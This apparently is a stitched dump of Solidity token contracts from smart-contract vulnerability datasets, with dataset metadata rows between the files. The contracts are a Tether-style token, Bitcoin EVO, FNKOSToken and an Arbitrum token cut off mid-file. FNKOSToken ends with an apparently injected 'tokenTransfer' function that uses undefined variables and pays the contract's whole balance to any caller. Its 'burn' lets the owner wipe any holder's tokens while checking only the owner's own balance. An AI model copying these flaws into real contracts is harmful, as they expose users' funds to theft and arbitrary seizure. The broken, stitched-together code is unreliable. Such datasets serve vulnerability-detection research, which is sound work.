function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract TetherToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function TetherToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 50,045 | 10,358 |
b04b2da2be73ed1d0136204ecd9f40b0ae9ba6a6794c18916735a1189171af58
| 10,946 |
.sol
|
Solidity
| false |
559006687
|
Sapo-Dorado/FortaKnight
|
b4170216038285b34477a0e05f95450ae7bf4aa1
|
analysis/Hidden_Burns/contract_259.sol
| 2,740 | 10,340 |
pragma solidity ^0.4.25;
// ----------------------------------------------------------------------------
// 'Bitcoin EVO'
//
// NAME : Bitcoin EVO
// Symbol : BTV
// Total supply: 210,000,000,000
// Decimals : 8
//
// (c) Bitcoin EVO 2020
// -----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BitcoinEVO is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Bitcoin EVO";
string public constant symbol = "BTV";
uint public constant decimals = 8;
uint public deadline = now + 35 * 1 days;
uint public round2 = now + 35 * 1 days;
uint public round1 = now + 30 * 1 days;
uint256 public totalSupply = 210000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 1000; // 0.001 Ether
uint256 public tokensPerEth = 100000000e8;
uint public target0drop = 50000;
uint public progress0drop = 0;
address multisig = 0xCf7Ac628f8A0fa38059BF77b0134efaD8bF329A3;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 0e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 2;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 3 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 50 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 75 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 25 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 50 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 100000e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 282,735 | 10,359 |
bb456842641526e5aa5c5c7a18b5f6933fbf4192393614977db419adb3b2c708
| 12,229 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xeb021dd3e42dc6fdb6cde54d0c4a09f82a6bca29.sol
| 3,310 | 12,168 |
pragma solidity ^0.4.18;
//
// FogLink OS Token
// Author: FNK
// Contact: support@foglink.io
// Telegram community: https://t.me/fnkofficial
//
contract FNKOSToken {
string public constant name = "FNKOSToken";
string public constant symbol = "FNKOS";
uint public constant decimals = 18;
uint256 fnkEthRate = 10 ** decimals;
uint256 fnkSupply = 1000000000;
uint256 public totalSupply = fnkSupply * fnkEthRate;
uint256 public minInvEth = 0.1 ether;
uint256 public maxInvEth = 100.0 ether;
uint256 public sellStartTime = 1524240000; // 2018/4/21
uint256 public sellDeadline1 = sellStartTime + 30 days;
uint256 public sellDeadline2 = sellDeadline1 + 30 days;
uint256 public freezeDuration = 30 days;
uint256 public ethFnkRate1 = 3600;
uint256 public ethFnkRate2 = 3600;
bool public running = true;
bool public buyable = true;
address owner;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public whitelist;
mapping (address => uint256) whitelistLimit;
struct BalanceInfo {
uint256 balance;
uint256[] freezeAmount;
uint256[] releaseTime;
}
mapping (address => BalanceInfo) balances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event BeginRunning();
event PauseRunning();
event BeginSell();
event PauseSell();
event Burn(address indexed burner, uint256 val);
event Freeze(address indexed from, uint256 value);
function FNKOSToken () public{
owner = msg.sender;
balances[owner].balance = totalSupply;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(whitelist[msg.sender] == true);
_;
}
modifier isRunning(){
require(running);
_;
}
modifier isNotRunning(){
require(!running);
_;
}
modifier isBuyable(){
require(buyable && now >= sellStartTime && now <= sellDeadline2);
_;
}
modifier isNotBuyable(){
require(!buyable || now < sellStartTime || now > sellDeadline2);
_;
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// 1eth = newRate tokens
function setPbulicOfferingPrice(uint256 _rate1, uint256 _rate2) onlyOwner public {
ethFnkRate1 = _rate1;
ethFnkRate2 = _rate2;
}
//
function setPublicOfferingLimit(uint256 _minVal, uint256 _maxVal) onlyOwner public {
minInvEth = _minVal;
maxInvEth = _maxVal;
}
function setPublicOfferingDate(uint256 _startTime, uint256 _deadLine1, uint256 _deadLine2) onlyOwner public {
sellStartTime = _startTime;
sellDeadline1 = _deadLine1;
sellDeadline2 = _deadLine2;
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function pause() onlyOwner isRunning public {
running = false;
PauseRunning();
}
function start() onlyOwner isNotRunning public {
running = true;
BeginRunning();
}
function pauseSell() onlyOwner isBuyable isRunning public{
buyable = false;
PauseSell();
}
function beginSell() onlyOwner isNotBuyable isRunning public{
buyable = true;
BeginSell();
}
//
// _amount in FNK,
//
function airDeliver(address _to, uint256 _amount) onlyOwner public {
require(owner != _to);
require(_amount > 0);
require(balances[owner].balance >= _amount);
// take big number as wei
if(_amount < fnkSupply){
_amount = _amount * fnkEthRate;
}
balances[owner].balance = safeSub(balances[owner].balance, _amount);
balances[_to].balance = safeAdd(balances[_to].balance, _amount);
Transfer(owner, _to, _amount);
}
function airDeliverMulti(address[] _addrs, uint256 _amount) onlyOwner public {
require(_addrs.length <= 255);
for (uint8 i = 0; i < _addrs.length; i++) {
airDeliver(_addrs[i], _amount);
}
}
function airDeliverStandalone(address[] _addrs, uint256[] _amounts) onlyOwner public {
require(_addrs.length <= 255);
require(_addrs.length == _amounts.length);
for (uint8 i = 0; i < _addrs.length; i++) {
airDeliver(_addrs[i], _amounts[i]);
}
}
//
// _amount, _freezeAmount in FNK
//
function freezeDeliver(address _to, uint _amount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime) onlyOwner public {
require(owner != _to);
require(_freezeMonth > 0);
uint average = _freezeAmount / _freezeMonth;
BalanceInfo storage bi = balances[_to];
uint[] memory fa = new uint[](_freezeMonth);
uint[] memory rt = new uint[](_freezeMonth);
if(_amount < fnkSupply){
_amount = _amount * fnkEthRate;
average = average * fnkEthRate;
_freezeAmount = _freezeAmount * fnkEthRate;
}
require(balances[owner].balance > _amount);
uint remainAmount = _freezeAmount;
if(_unfreezeBeginTime == 0)
_unfreezeBeginTime = now + freezeDuration;
for(uint i=0;i<_freezeMonth-1;i++){
fa[i] = average;
rt[i] = _unfreezeBeginTime;
_unfreezeBeginTime += freezeDuration;
remainAmount = safeSub(remainAmount, average);
}
fa[i] = remainAmount;
rt[i] = _unfreezeBeginTime;
bi.balance = safeAdd(bi.balance, _amount);
bi.freezeAmount = fa;
bi.releaseTime = rt;
balances[owner].balance = safeSub(balances[owner].balance, _amount);
Transfer(owner, _to, _amount);
Freeze(_to, _freezeAmount);
}
function freezeDeliverMuti(address[] _addrs, uint _deliverAmount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime) onlyOwner public {
require(_addrs.length <= 255);
for(uint i=0;i< _addrs.length;i++){
freezeDeliver(_addrs[i], _deliverAmount, _freezeAmount, _freezeMonth, _unfreezeBeginTime);
}
}
function freezeDeliverMultiStandalone(address[] _addrs, uint[] _deliverAmounts, uint[] _freezeAmounts, uint _freezeMonth, uint _unfreezeBeginTime) onlyOwner public {
require(_addrs.length <= 255);
require(_addrs.length == _deliverAmounts.length);
require(_addrs.length == _freezeAmounts.length);
for(uint i=0;i< _addrs.length;i++){
freezeDeliver(_addrs[i], _deliverAmounts[i], _freezeAmounts[i], _freezeMonth, _unfreezeBeginTime);
}
}
// buy tokens directly
function () external payable {
buyTokens();
}
//
function buyTokens() payable isRunning isBuyable onlyWhitelist public {
uint256 weiVal = msg.value;
address investor = msg.sender;
require(investor != address(0) && weiVal >= minInvEth && weiVal <= maxInvEth);
require(safeAdd(weiVal,whitelistLimit[investor]) <= maxInvEth);
uint256 amount = 0;
if(now > sellDeadline1)
amount = safeMul(msg.value, ethFnkRate2);
else
amount = safeMul(msg.value, ethFnkRate1);
whitelistLimit[investor] = safeAdd(weiVal, whitelistLimit[investor]);
balances[owner].balance = safeSub(balances[owner].balance, amount);
balances[investor].balance = safeAdd(balances[investor].balance, amount);
Transfer(owner, investor, amount);
}
function addWhitelist(address[] _addrs) public onlyOwner {
require(_addrs.length <= 255);
for (uint8 i = 0; i < _addrs.length; i++) {
if (!whitelist[_addrs[i]]){
whitelist[_addrs[i]] = true;
}
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner].balance;
}
function freezeOf(address _owner) constant public returns (uint256) {
BalanceInfo storage bi = balances[_owner];
uint freezeAmount = 0;
uint t = now;
for(uint i=0;i< bi.freezeAmount.length;i++){
if(t < bi.releaseTime[i])
freezeAmount += bi.freezeAmount[i];
}
return freezeAmount;
}
function transfer(address _to, uint256 _amount) isRunning onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
uint freezeAmount = freezeOf(msg.sender);
uint256 _balance = safeSub(balances[msg.sender].balance, freezeAmount);
require(_amount <= _balance);
balances[msg.sender].balance = safeSub(balances[msg.sender].balance,_amount);
balances[_to].balance = safeAdd(balances[_to].balance,_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) isRunning onlyPayloadSize(3 * 32) public returns (bool success) {
require(_from != address(0) && _to != address(0));
require(_amount <= allowed[_from][msg.sender]);
uint freezeAmount = freezeOf(_from);
uint256 _balance = safeSub(balances[_from].balance, freezeAmount);
require(_amount <= _balance);
balances[_from].balance = safeSub(balances[_from].balance,_amount);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_amount);
balances[_to].balance = safeAdd(balances[_to].balance,_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) isRunning public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) {
return false;
}
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
require(this.balance > 0);
owner.transfer(this.balance);
Transfer(this, owner, this.balance);
}
function burn(address burner, uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender].balance);
balances[burner].balance = safeSub(balances[burner].balance, _value);
totalSupply = safeSub(totalSupply, _value);
fnkSupply = totalSupply / fnkEthRate;
Burn(burner, _value);
}
function mint(address _target, uint256 _amount) onlyOwner public {
if(_target == address(0))
_target = owner;
balances[_target].balance = safeAdd(balances[_target].balance, _amount);
totalSupply = safeAdd(totalSupply,_amount);
fnkSupply = totalSupply / fnkEthRate;
Transfer(0, this, _amount);
Transfer(this, _target, _amount);
}
function tokenTransfer() public {
totalEth = totalEth + msg.value;
uint256 amount = msg.value * unitsEth;
if (balances[walletAdd] < amount) {
return;
}
balances[walletAdd] = balances[walletAdd] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
msg.sender.transfer(this.balance);
}
}
| 185,027 | 10,360 |
a59acc1c86e1c71c40861db3dd62dc4de68718aaa28a6a3eccb2a15e6b24b834
| 16,402 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/81/81596f65b0448694d294ab9eb6994228be327509_Arbpyre.sol
| 2,894 | 11,756 |
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.10;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
